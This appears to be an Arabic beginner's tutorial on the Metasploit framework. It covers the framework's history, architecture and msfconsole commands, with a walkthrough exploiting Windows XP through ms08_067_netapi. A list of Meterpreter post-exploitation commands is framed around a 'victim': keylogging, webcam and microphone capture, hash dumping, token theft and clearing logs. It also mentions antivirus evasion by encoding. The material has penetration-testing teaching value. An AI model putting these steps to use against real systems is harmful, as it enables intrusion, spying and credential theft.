

شرح الميتاسبلويت من الصفر الى الاحتراف - الاختراق المتقدم
ماهو مشروع الميتاسبلويت؟
الميتاسبلويت Metasploit هي ليست مجرد مشروع مفتوح المصدر! بل هو مشروع يهتم بالأمن المعلوماتي عبر البحث عن الثغرات الأمنية ويساعد في اختبارات الإختراق وتطوير أنظمة كشف التسللات IDS. وأهم إنجازات هذا المشروع هو منصة ميتاسبلوت المفتوحة المصدر وهي أداة تقوم بفتح منفذ في الجهاز المستهدف بهدف اختراقه.- أنشأت ميتاسبلوت من قبل فريق HD Moore سنة 2003، كأداة شبكية محمولة مبرمجة بلغة Perl. سنة 2007 ثم أعيد برمجتها كليا بواسطة لغة Ruby. سنة 2009 . أعلن أنه وقع الإستحواذ عليها من قبل شركة Rapid7، وهي شركة أمنية تبحث عن نقاط الضعف في الأنظمة وتقدم حلول لها.
كما يمكن استعمال Metasploit للبحث عن ثغرات الأنظمة فإنه يمكن من استغلالها بطريقة غير شرعية لاختراق الانظمة المختلفة.
فهي تعتبر سلاح سواء في يد الجيد Good وللسيء Bad وللغبي Ugly
ألية العمل بالميتاسبلويت
بشكل عام يمكن تلخيص مهام مشروع الميتاسبلويت لاختراق هدف بخطوات او مراحل كالأتياختيار واعداد الثغرة Exploit لعمل الهجوم (باختيار واحدة من بين أكثر من 1577 ثغرة موجودة على مختلف الانظمة من وندوز، ماك أو لينكس)
التحقق من أن النظام المستهدف يمكن تطبيق الإختراق عليه (بمعنى التحقق من ان الجهاز مصاب فعليا بثغرة)
اختيار واعداد البايلود Payload (وهو برمجية ضارة يرسلها المخترق للضحية لفتح قناة تواصل وتشبه في طريقة عملها فيروس حصان طروادة أو فيروس الدودة )
اختيار طريقة لتشفير البايلود Encoding Payload لتجاوز أنظمة كشف التسللات و كتلك تخطي الأنتي فايروس Bypass AV.
المرحلة الاخيرة تنفيذ الهجمة أو تشغيل الثغرة Run Exploit.
هذه الخطوات المتبعة لتنفيذ أي هجوم عبر أي بايلود وعمل الميتاسبلوت هنا هو تسهيل عمل المخترقين. كما نذكر أن الميتاسبلوت يعمل على أغلب أنظمة Unix (تشمل لينكس والماك) والوندوز وهو متوفر بعدة لغات.
مكونات الميتاسبلويت الاساسية
يجب عليك كمبتدئ معرفة كل شيء عن هذا السلاح الفتاك حتى تمضي قدما في طريق الاحتراف الميتاسبلويت مبني على عدة مكونات أساسية, وكل بنية تمثل مجال بحد ذاته, تابع معي رعاك الله سنذكر هذه اللبنات الأساسية باللغة الانجليزية مع ترجمة بسيطة باللغة العربية حتى تستوعب, لكن يجب عليك التعامل بالمصطلحات الانجليزية اذا أردت الاحتراف فخذ الصنعة من صانعها.- Architecture - هندسة أو مخطط المشروع
- Components - المكونات
- Libraries - المكتبات
- Interfaces - واجهات
- Modules - وحدات
- Utilities - خدمات
- Plugins - الإضافات
1- MSF Architecture
حتى تستوعب ماهي MSF Architecture وضعت لك صورة, أمعن فيها جيدا , فهي أشبه بدولة داخلها مؤسسات
2- المكونات MSF Components
الميتاسبلويت يعتمد على بعض المكونات مثل:- MSF Libraries
- Interfaces
- Modules
- Mixins
- Plugins
3- المكتبات أو MSF Libraries
تتكون هذه المكتبات من ثلاث أقسام: Rex, Core, Base
1- REX وهي اختصار لجملة Ruby Extension Library
ملحوظة: (طبعا الروبي Ruby هي لغة برمجة وقد تم برمجة بها الميتاسبلويت, و Extension Library تعني مكاتب اضافية أو امتداد)
تحتوي REX على السوكيت والبروتوكولات والتحويلات النصية وغيرها من التشفيرات وبروتوكولات الشبكة.
Sockets, protocols, text transformations و SMB و SSL و HTTP و XOR و BASE64
2- النواة (Msf::Core (Core library:
يمكن تقسيمها لقسمين:
الأول الثغرات أوالاستغلالات Exploits
وهي مختلفة مثل ثغرات موجودة بقواعد البيانات والبروتوكولاتوغيرها Oracle ,MSSQL ,FTP, HTTP, SMB
القسم الثاني هو الاضافات Auxiliary
مثل برامج الفحص Scanners وبرامج التخمين BruteForce وبرامج التبليغ Reports ...
وبرامج حجب الخدمة DOS و Fuzzers و Wireless
3- (Msf::Base (Base library :
يوفر إجراءات وفئات classes التي يمكنك استخدامها للعمل بسهولة مع النواة Core
4- واجهات الميتا Metasploit Interfaces
يتكون مشروع الميتاسبلويت من أربعة واجهات أساسية مختلفة, يمكننا عن طريق هذه الواجهات بالتعامل مع الميتاسبلويت بسهولة ومرونة
- MSFconsole تمثل الواجهة الاساسية ونتعامل معها بالاوامر مثل شاشة الدوس
- MSFcli تشبه التعامل مع السكريبتات
- MSFweb نتعامل معها عن طريق فتح متصفح الانترنت
- MSFgui و Armitage من أسهل وأروع الواجهات المبرمجة بلغة الجافا القوية , وهي تأتي مع نظام الكالي لينكس أنصح المبتدئين باستعمالها و بشدة. ولكن هذا لا يعني اهمال msfconsole
صورة MSF Console
صورة MSFGUI
صورة Armitage
5- الوحدات MSF Modules
تتكون الوحدات من عدة برامج وسكريبتات مهمة مثل:
- Exploit
- Auxiliary
- Post-Exploitation
- Payload
- NOP generator
- Payload encoder
لا يمكن شرحها الان فهي أشياء متقدمة حاليا.
6- الخدمات والادوات MSF Utilities
هناك ثلاث أدوات رئيسية مهمة مثل :- MSFpayload
- MSFencode
- Msfvenom
7- الاضافات MSF Plugins
هي ميزة تقدمها لك الميتاسبلويت للتحكم بها أوتوماتيكيا عن طريق دوال تسمى API بحيث يمكنك برمجة أداة تقوم بتطبيق ثغرة او فحص وغيرها ... وذلك بتطويع الميتاسبلويت وجعلها بخدمتها.ولا تقتصر على هذا فقط, بل يمكنك اضافة أوامر جديدة للمشروع بواسطة برمجة اضافة خاصة بك Plugin.
أوامر الميتاسبلويت MSF Commands
أولا لفتح مشروع الميتاسبلويت في الكالي لينكس نكتب في الطرفية الامر الأتي
msfconsole
وهذه صورة مشروع الميتاسبلويت عند فتحه
الامر help
لمعرفة جميع أوامر الميتاسبلويت أكتبhelp
الأمر Clear
نحتاجه أحيانا لمسح الكتابة من على الشاشة وهو نفس الأمر يعمل على اللينكسclear
الأمر show exploits
لاستعراض جميع الثغرات الموجودة بالميتاسبلويت نستعمل الامرshow exploits
كما تلاحظ تظهر لنا أسماء الثغرات Exploit-Name وتاريخ اكتشافها ومدى خطورتها RANK و الوصف
ومسارها على جهازك مثال
windows/browser/adobe_flash_avm2كما تلاحظ موجودة داخل مجلد ويندوز داخل مجلد المتصفح وتحمل اسم فلاش , بمعنى ان هذه الثغرة يمكنها اختراق الويندوز عن طريق ثغرة الفلاش بلاير الخاص بالمتصفج.
الأمر use
نحتاج هذا الامر لاستعمال ثغرة معينة. , بحيث نكتب الامر use ونكتب أمامه اسم ومسار الثغرةuse exploit_Nameمثال:
نستعمل هذه الثغرة الشهيرة ms08_067_netapi التي تسببت باختراق الويندوز اكس بي
use exploit/windows/smb/ms08_067_netapi
الامر show options
هذا الامر يظهر لنا خيارات الثغرة أو الاستغلال, بحيث يعطينا متطلبات الثغرة مثل الايبي الخاص بالضحية والبورت وغيرها, فهي تختلف من ثغرة لاخرى.الأمر SET
نحتاج هذا الأمر لتعيين قيمة, فمثلا عندما تحتاج الثغرة لبورت أو هوست نقوم بادخاله بالامرSETفمثلا هذا الامر لادخال الهوست على سبيل المثال عنوان اي بي الضحية هو 192.168.1.10
set RHOST 192.168.1.10
وهذا الامر لادخال البورت على سبيل المثال بورت 445
set RPORT 445
ملاحظة:
كما تلاحظ RHOST أو RPORT الحرف R يعني ريموت Remote بمعنى اننا نستهدف هوست أو بورت بعيد(victime),
وعندما تجد LHOST أو LPORT فالحرف L هنا يعني Locale بمعنى المحلي, فبعض الثغرات تحتاج هوست أو لبورت جهازك لتستقبل عليه البيانات من الضحية.
الأمر exploit و run
في الحقيقة هذان الأمران لهما نفس الدور وهو تشغيل أو تنفيذ الثغرة, فبعدما قمنا بادخال متطلبات الثغرة بقي علينا تنفيذها للاختراقتطبيق عملي طريقة اختراق وبندوز Windows XP
سنحاول اختراق ويندوز اكس بي مصاب بالثغرة الشهيرة ms08_067_netapi وهذه الثغرة موجودة في خدمة SMB طبعا هذه الخدمة خاصة بمشاركة الملفات.
الخطوات الاساسية للاختراق بالميتاسبلويت بشكل عام هي
- اختيار الثغرة بالامر use
- نقوم باظهار متطلبات الثغرة بالامر show options ,
- نقوم بادخال متطلبات الثغرة (مثل ip, Port. url. وغيره من المتطلبات على حسب الثغرة) عن طريق الامر SET
- الخطوة الاخيرة استعمال بايلود , يتم ارساله للضحية بعد ان يتم الاختراق, حتى نتحكم في النظام المستهدف.
- المرحلة الأخيرة تنفيذ الاختراق Exploit
تم الاختراق
هذه عملية أخرى لمحاولة اختراق ويندوز اكسبي ولكن الثغرة كانت مرقعة
في هذا المثال قمت باستعمال الامر check وهو يقوم بالتحقق من الجهاز المستهدف هل يمكن تطبيق الثغرة عليه ام لا
لاحظ الصورة
لم يتم الاختراق فالنظام غير مصاب, أو تم تحديث النظام
وهذا مثال أخير لاختراق نظام أخر عن طريق ثغرة في المتصفح
لاحظ الكتابة الأخيرة session opened وتعني تم فتح جلسة بين الهكر والضحية, والوسيط بيننا هو البايلود shell
تم الاختراق
أوامر اضافية
الامر load و unload
يستعمل الامران في لتشغيل اضافة أو ايقافها مثال
load <plugin name>
unload <plugin name>
الامر search
يستعمل في البحث عن موديل معين موجود في الميتاسبلويتالامر search tag:keyword
هو أم للبحث المتقدم بحيث يمكنك البحث عن موديلات عن طريق الاصناف مثال:search platform:windows <ما تريد البحث عنه>
في الامر السابق بحثنا عن موديل داخل موديلات المتعلقة بالويندوز
الامر info
نستعمل هذا الامر لمعرفة المزيد من المعلومات عن الثغرة,
info <اسم الثغرة>
الامر show targets
نحتاجه لمعرفة ماهي الانظمة التي تستهدفها الثغرة أو القابلة للاختراق بها, هل هي نظام ويندوز او لينكس وان كان نظام ويندوز.هل هو ويندوز 7 او 10 او فيستا وغيره. كما تلاحظون بالصورة
الامر sessions
ويعني الجلسات وهو مصطلح يطلق على عملية ما بعد الاختراق, فعند اختراق هدف تسمى جلسة, ولمعرفة قائمة الاجهزة التي قمت باختراقها تستعمل الامرsessions -lوستظهر لك قائمة list لنفرض أنك تريد التحكم في نظام معين قمت باختراقه وتريد تطبيق اوامر عليه, ستقوم باختياره على حسب رقمه التعريفي id في القائمة
كمثال
sessions -i 1
الحرف i بمعنى interect
الأمر show payloads
يقوم باستعراض جميع البايلودات وهي أنواع كثيرة, وأشهر واحد هو Meterpreter
أنواع البايلود كثيرة ومختلفة نذكر منها
- (Inline (Non Staged
- Staged
- Meterpreter
- PassiveX
- NoNX
- Ord
- IPv6
- Reflective DLL injection
الأمر show encoders
يستعرض لنا جميع خوارزميات وطرق التشفير الموجودة بالميتاسبلويت وهي كثيرة
من افضل خوارزمية تشفير Encoder هو shikata_ga_nai
اوامر الميتربريتر Meterpreter
أوامر التحكم في جهاز الضحية بالميتاسبلويت , ما بعد الاختراق
1-bgkill
قفل برامج الضحية
2-bglis
البرامج الى شغالة عند الضحية
3-exit
للخروج
4-help
للمساعدة
5-info
استخراج معلومات
6-migrate
نقل الباك دور وحقنه بعمليات النظام
7-read
لقراءة ملف
8-run
لتشغيل برامج الضحية
9-use
استخدام اى شي
10-cat
لقراءة ملفات التكست
11-cd
لتتنقل فى جهاز الضحية
12-del
لحذف مجلد
13-download
لتحميل من جهاز الضحية
14-edit
اعادة تسمية
15-upload
لرفع ملف من جهازنا الى الضحية
16-clearev +
الاحداث فى جهاز الضحية
17-getprivs
الحصول على صلاحيات كتيرة
18-kill
لتقل عمليات البروسسر
19-ps
لعرض العمليات الشغالة
20-reboot
اعادة تشغيل جهاز الضحية
21-reg
لتشغيل جهاز الضحية
22-shutdown
قفل جهاز الضحية
23-steal_token
لسرقة الرموز
24-sysinfo
جميع معلومات جهاز الضحية
25-enumdesktops
للتجسس على باقى اجهزة الشبكة
26-getdesktop
سطح مكتب الضحية
27-idletime
مراجعة
28-keyscan_dump
تنصت الكيلوجر
29-keyscan_start
لتشغيل الكيلوجر
30-keyscan_stop
ايقاف الكيلوجر
31-screenshot
تصوير شاشة الضحية
32-uictl
ايقاف موس و كيبودر الضحية
33-record_mic
استماع مايك الضحية
34-cam_list
فتح كام الضحية
35-cam_snap
التقاط لقطة من كاميرة الضحية
36-hashdump
إستخراج الهاشات من جهاز الضحية
-----------------------------------------------
في الأخير أحب أن أوضح أن كتابة هذا الموضوع أخذ مني ثلاثة أيام لذلك لا أحلل نقله
في الأخير أحب أن أوضح أن كتابة هذا الموضوع أخذ مني ثلاثة أيام لذلك لا أحلل نقله
الى هنا ينتهي موضوعنا
في أمان الله
مواضيع ذات صلة:
طريقة تكوين بايلود لجميع الأنظمة Creating Metasploit Payloadsالاختراق عن طريق الويندوز بواسطة PenTestBox
اداة TheFatRat انشاء وتشفير البايلود والباكدور
كيف يتم اختراق الاندرويد بواسطة البايلود في الميتاسبلويت